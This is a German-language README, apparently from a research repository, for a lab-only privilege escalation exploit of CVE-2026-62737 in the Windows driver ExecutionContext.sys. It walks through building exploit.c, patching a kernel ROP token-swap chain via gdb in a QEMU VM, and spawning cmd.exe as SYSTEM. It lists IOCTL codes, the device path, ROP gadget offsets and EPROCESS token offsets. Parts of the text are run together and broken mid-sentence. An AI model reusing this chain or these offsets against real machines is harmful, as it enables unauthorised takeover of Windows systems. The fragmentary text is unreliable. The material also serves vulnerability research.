
Erhöht einen Windows-Prozess mit niedrigen Berechtigungen auf SYSTEM über eine gdb-gestützte ROP-Token-Swap-Kette und demonstriert CVE-2026-62737 in einer reinen Labor-QEMU-Umgebung.
Ein Folgebericht zum ursprünglichen Writeup zu CVE-2026-62737
(ExecutionContext.sys beliebiger indirekter Kernel-Aufruf). Er verwandelt den
Crash-PoC in eine funktionierende Token-Tausch-Kette, die cmd.exe als SYSTEM startet, aber nur
in einem Labor, in dem ein Debugger Adressen liefert und die ROP-Kette in
den Kernel-Speicher schreibt. Dies ist kein eigenständiger Exploit.
ExecutionContext-Gerät über den KLoader-Proxy als Benutzer mit niedrigen Rechten.0x22EC40) und stellt eine Aufgabe (0x22AC54)
in die Warteschlange, deren Callback ein Kernel-ROP-Pivot ist.patch_rop.py) schreibt eine Token-Tausch-ROP-Kette in
ExecutionContext .data und erfasst den RSP/RBP zum Pivot-Zeitpunkt über einen
Hardware-Breakpoint.0x226C5C-Exit-Callback),
die Kette tauscht unser Token gegen das von SYSTEM, stellt den Kernel-Stack
wieder her und kehrt in den Treiber-Dispatcher zurück, sodass der Worker überlebt.gdbserver tcp::1234), einem Gast-Agenten und einem
gemeinsamen Host/Gast-Ordner, der als Z: gemountet ist.\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535} öffnen kann.x86_64-w64-mingw32-gcc) und gdb auf dem Host.x86_64-w64-mingw32-gcc -O2 -municode -o exploit.exe exploit.c
x86_64-w64-mingw32-gcc -O2 -o modlist.exe modlist.c
Frische Basen holen: ./ga.py 'Z:\modlist.exe' (nach dem Kopieren von modlist.exe
in den gemeinsamen Ordner)
Skripte aktualisieren: ./refresh_bases.sh
exploit.exe und modlist.exe in den gemeinsamen Ordner kopieren.
Den Exploit als Benutzer mit niedrigen Rechten starten: exploit.exe <nt> <ec> <ec+0x10A00>.
Er schreibt seine PID nach Z:\lab_pid.txt und wartet auf Z:\go_lab.txt.
gdb anhängen und LAB_PID_FILE auf die Host-Kopie von lab_pid.txt zeigen lassen:
LAB_PID_FILE=/path/to/shared/lab_pid.txt \
gdb -q -ex 'target remote :1234' -ex 'set pagination off' -x patch_rop.py
continue an der gdb-Eingabeaufforderung eingeben.
MIT, siehe LICENSE.
| Datei | Zweck |
|---|
exploit.c | Labor-Exploit: Init + Warteschlange + auf gdb-Patch warten + Token-Prüfung + cmd starten. |
patch_rop.py | gdb-Skript: findet unseren EPROCESS, schreibt die ROP-Kette, aktiviert den Pivot-Breakpoint. |
trace_rop.py | Gleiche Einrichtung, führt die Kette aber zum Debuggen im Einzelschritt aus. |
refresh_bases.sh | Aktualisiert die nt/ec-Basen pro Systemstart in den gdb-Skripten aus der modlist.exe-Ausgabe. |
modlist.c | Gibt die ntoskrnl-/ExecutionContext-Basis pro Systemstart aus (KASLR-Orakel für das Labor). |
ga.py | Führt Befehle in der Labor-VM über den QEMU-Gast-Agenten aus. |
Den Exploit freigeben: touch /path/to/shared/go_lab.txt
Nach ca. 15 s sollte Z:\lab_exploit_out.txt system=1 anzeigen und
Z:\lab_shell_out.txt sollte nt authority\system enthalten.
| Bezeichnung | Wert |
|---|
| ROP-Pivot (vollständig) | nt + 0x6A6A40 |
pop rcx; ret | nt + 0x28843A |
pop rdx; ret | nt + 0x2FECD2 |
mov [rcx], rdx; ret | nt + 0x3BC6A7 |
ret | nt + 0x20043B |
pop rsp; ret | nt + 0x2006C4 |
PsInitialSystemProcess | nt + 0xFC6AF0 |
_EPROCESS.Token | 0x248 |
_EPROCESS.UniqueProcessId | 0x1D0 |
_EPROCESS.ActiveProcessLinks | 0x1D8 |